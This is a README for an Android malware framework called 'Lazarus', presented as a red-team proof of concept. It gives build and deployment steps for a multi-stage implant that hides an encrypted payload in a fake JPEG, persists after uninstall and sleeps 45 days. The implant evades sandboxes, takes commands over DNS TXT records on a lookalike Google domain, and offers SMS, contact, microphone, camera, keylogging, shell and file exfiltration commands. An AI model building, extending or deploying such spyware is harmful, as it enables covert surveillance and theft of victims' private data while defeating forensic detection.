Lazarus – README

Advanced Stealth Payload Framework for Security Research & Red-Teaming

⚠️ Disclaimer
This project is intended exclusively for educational and research purposes, such as penetration testing exercises in controlled environments with explicit authorization. The techniques described are for understanding advanced persistent threats (APTs) and improving defensive measures. Unauthorized use of this software is illegal and unethical. The authors assume no liability for any misuse.

---

Overview

Lazarus is a lightweight, multi‑stage, memory‑only payload framework designed to demonstrate sophisticated evasion and persistence techniques used by modern APT groups. It employs a 4‑tier architecture that enables:

• Dropper – plants an encrypted payload disguised as a JPEG image, enables a boot receiver, and schedules a delayed activation.
• Hibernator – survives app uninstallation, performs environmental checks, and uses DNS‑based command & control (C2) to wake up.
• Assembler – reconstructs the full payload from multiple chunks stored in the JPEG, performs reflective loading directly into memory.
• Phantom – the final resident agent that hooks system libraries, executes remote commands, and exfiltrates data via covert channels.

All malicious components run entirely in RAM, leaving no traces on disk, making forensic analysis extremely difficult.

---

Architecture

┌─────────────────────────────────────────────────────────────┐
│  Tier 0 – Dropper (libdropper.so)                         
│  └─ Creates fake JPEG in MediaStore with encrypted chunks 
│  └─ Enables BootReceiver                                  
│  └─ Sets AlarmManager for 45‑day sleep                    
└─────────────────────────────────────────────────────────────┘
                             │
                             ▼
┌─────────────────────────────────────────────────────────────┐
│  Tier 1 – Hibernator (BootReceiver + native code)         
│  └─ Wakes on boot or power connect                        
│  └─ Checks elapsed time ≥45 days                         
│  └─ Sandbox detection (battery, ptrace)                  
│  └─ Performs DNS TXT query for activation signal         
│  └─ If signal matches, triggers Assembler                
└─────────────────────────────────────────────────────────────┘
                             │
                             ▼
┌─────────────────────────────────────────────────────────────┐
│  Tier 2 – Assembler (reflective loader)                   
│  └─ Reads JPEG from MediaStore                           
│  └─ Decrypts 7 chunks (AES‑256‑CTR)                      
│  └─ Mmap’s executable memory                            
│  └─ Relocates and jumps to Phantom                       
└─────────────────────────────────────────────────────────────┘
                             │
                             ▼
┌─────────────────────────────────────────────────────────────┐
│  Tier 3 – Phantom (shellcode)                             
│  └─ Hides as "GC Thread"                                 
│  └─ Hooks SSL_write/read (TLS traffic interception)      
│  └─ Sets timer (SIGVTALRM) for periodic tasks           
│  └─ Receives C2 commands via DNS/HTTPS covert channels   
│  └─ Supports: location, SMS, contacts, mic, camera,      
│      keylogging, shell execution, file upload, self‑destruct
└─────────────────────────────────────────────────────────────┘

---

Requirements

• Host OS – Ubuntu 20.04 LTS (or any Linux with NDK support)
• Android NDK – r25c (or later)
  Download from developer.android.com/ndk
• Android SDK – with platform-tools and build-tools
• Python 3.10+ – with pycryptodome installed (pip install pycryptodome)
• Gradle – included in project wrapper
• Android device/emulator – API level 21+ (Android 5.0+)

---

Building the Project

1. Clone / Prepare the Project

Ensure your project directory has the following layout (the provided source files are already placed correctly):

project-root/
├── app/
│   ├── src/main/
│   │   ├── java/com/example/launcher/...
│   │   ├── cpp/...
│   │   ├── assets/ (will be generated)
│   │   └── AndroidManifest.xml
│   ├── build.gradle (module)
│   └── ...
├── build.gradle (project)
├── settings.gradle
├── build_shard.py
└── build.sh

2. Set Environment Variables

export ANDROID_NDK=/path/to/android-ndk-r25c
export ANDROID_SDK=/path/to/Android/Sdk

3. Run the Build Script

chmod +x build.sh
./build.sh

The script will:

• Build libdropper.so (native library) using CMake.
• Compile phantom.c into ARM64 shellcode (phantom.bin).
• Run build_shard.py to create payload.jpg (encrypted chunks embedded in a fake JPEG).
• Copy payload.jpg into app/src/main/assets/.
• Build the final APK using Gradle.

Output: app/build/outputs/apk/release/app-release-unsigned.apk

---

Deployment and Usage

Step 1 – Distribute the APK

The APK is a regular Android application that requires no special permissions beyond standard ones (Internet, Boot completed, etc.). It can be installed via:

• adb install app-release-unsigned.apk
• Sideloading (manual installation)
• Distributing through third‑party app stores (for simulation only)

Step 2 – Initialisation

When the app is opened for the first time, MainActivity loads libdropper.so, which:

• Writes payload.jpg to the device’s Pictures/ folder.
• Enables the BootReceiver.
• Schedules an alarm for 45 days later.

After this, the app can be uninstalled – the JPEG and the system‑enabled receiver will persist.

Step 3 – Silent Sleep

No activity occurs during the 45‑day dormancy period. The device behaves normally.

Step 4 – Activation

After 45 days, the alarm triggers the BootReceiver (if the device is powered on). The receiver’s native code:

• Performs anti‑sandbox checks.
• Sends a DNS TXT query to [device‑specific‑hash].cdn-update.googleapis.com.
• If the TXT record contains EXEC_DEADBEEF, the payload is assembled and executed.

Step 5 – Command & Control (C2)

Once Phantom is loaded in memory, you can send commands by setting DNS TXT records or by using an HTTPS covert channel. Supported commands (hex codes):

Command	Hex	Action
GET_LOC	0x01	Return GPS coordinates
GET_SMS	0x02	Extract recent SMS messages
GET_CONTACTS	0x03	Export contacts as VCF
START_REC	0x04	Record audio for 60 seconds
STOP_REC	0x05	Stop recording and send file
SNAP	0x06	Take screenshot or camera photo
KEYLOG_GET	0x07	Dump keylog buffer
EXEC_CMD	0x08	Execute arbitrary shell command
UPLOAD_FILE	0x09	Upload a file from the device
SELF_DESTRUCT	0xFF	Wipe all traces and self‑destruct

Exfiltrated data is sent back via the same covert channels (e.g., embedded in HTTP headers or DNS requests).

---

Customisation

You can adjust the following parameters in the source code or build scripts:

Parameter	File(s)	Default
Sleep duration (days)	dropper.cpp, hibernator.cpp	45
Number of payload chunks	build_shard.py, assembler.cpp	7
Chunk size (bytes)	build_shard.py, assembler.cpp	65536
C2 domain	hibernator.cpp	cdn-update.googleapis.com
Ping retry interval	hibernator.cpp	15 days

To change the command set, modify timer_handler() in phantom.c and add corresponding parsing logic.

---

Project Structure (Key Files)

app/src/main/
├── java/com/example/launcher/
│   ├── MainActivity.java      # Entry point, loads libdropper.so
│   ├── BootReceiver.java      # Receives BOOT_COMPLETED and POWER_CONNECTED
│   └── NativeLib.java         # JNI wrapper for handleBoot()
├── cpp/
│   ├── dropper.cpp/.h         # Tier 0 – creates shard, enables receiver, sets alarm
│   ├── hibernator.cpp         # Tier 1 – wake‑up logic, DNS query, anti‑sandbox
│   ├── assembler.cpp          # Tier 2 – reads chunks, decrypts, reflective load
│   ├── phantom.c              # Tier 3 – final agent (shellcode, hook, C2 handler)
│   └── CMakeLists.txt         # Native build configuration
├── assets/
│   └── payload.jpg            # Generated by build_shard.py (contains encrypted chunks)
└── AndroidManifest.xml

---

Security & Legal Notice

• This framework is not intended for malicious purposes. It is a proof‑of‑concept demonstrating techniques used by real‑world threats, to help security professionals understand and defend against them.
• Use only on devices you own or have explicit written permission to test.
• The authors disclaim any liability for misuse or damage caused by this software.

---

License

Distributed under the MIT License. See LICENSE for more information.

---

Acknowledgements

Built with references to public research on APT campaigns, fileless malware, and covert communication channels. Special thanks to the open‑source community for providing cryptographic and system‑level tools.

---

For questions or collaboration, please contact the development team.